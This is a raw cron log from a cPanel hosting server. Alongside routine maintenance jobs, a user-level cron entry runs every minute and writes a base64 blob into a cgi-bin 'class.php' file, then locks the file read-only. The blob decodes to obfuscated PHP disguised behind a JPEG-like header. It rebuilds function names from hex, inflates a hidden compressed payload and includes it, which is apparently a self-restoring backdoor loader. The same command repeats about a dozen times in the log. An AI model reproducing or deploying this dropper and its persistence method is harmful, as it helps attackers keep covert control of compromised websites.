Sep  8 10:28:01 server CROND[22670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:28:01 server CROND[22671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:29:01 server CROND[23209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:29:01 server CROND[23210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:29:01 server CROND[23211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:30:01 server CROND[23681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:30:01 server CROND[23684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:30:01 server CROND[23685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:30:01 server CROND[23686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:30:01 server CROND[23687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:30:01 server CROND[23689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:30:01 server CROND[23688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:30:01 server CROND[23694]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:31:01 server CROND[24525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:31:01 server CROND[24526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:31:01 server CROND[24527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:32:01 server CROND[24899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:32:01 server CROND[24900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:32:01 server CROND[24901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:33:01 server CROND[25283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:33:01 server CROND[25282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:33:01 server CROND[25284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:34:01 server CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:34:01 server CROND[25654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:34:01 server CROND[25653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:35:01 server CROND[26132]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 10:35:01 server CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:35:01 server CROND[26138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:35:01 server CROND[26142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:35:01 server CROND[26145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:35:01 server CROND[26139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:35:01 server CROND[26140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:35:01 server CROND[26143]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:35:01 server CROND[26144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:36:02 server CROND[26982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:36:02 server CROND[26983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:36:02 server CROND[26984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:37:01 server CROND[27315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:37:01 server CROND[27316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:37:01 server CROND[27317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:38:01 server CROND[27678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:38:01 server CROND[27679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:38:01 server CROND[27680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:39:01 server CROND[28065]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 10:39:01 server CROND[28066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:39:01 server CROND[28068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:39:01 server CROND[28067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:40:01 server CROND[28456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:40:01 server CROND[28458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:40:01 server CROND[28468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
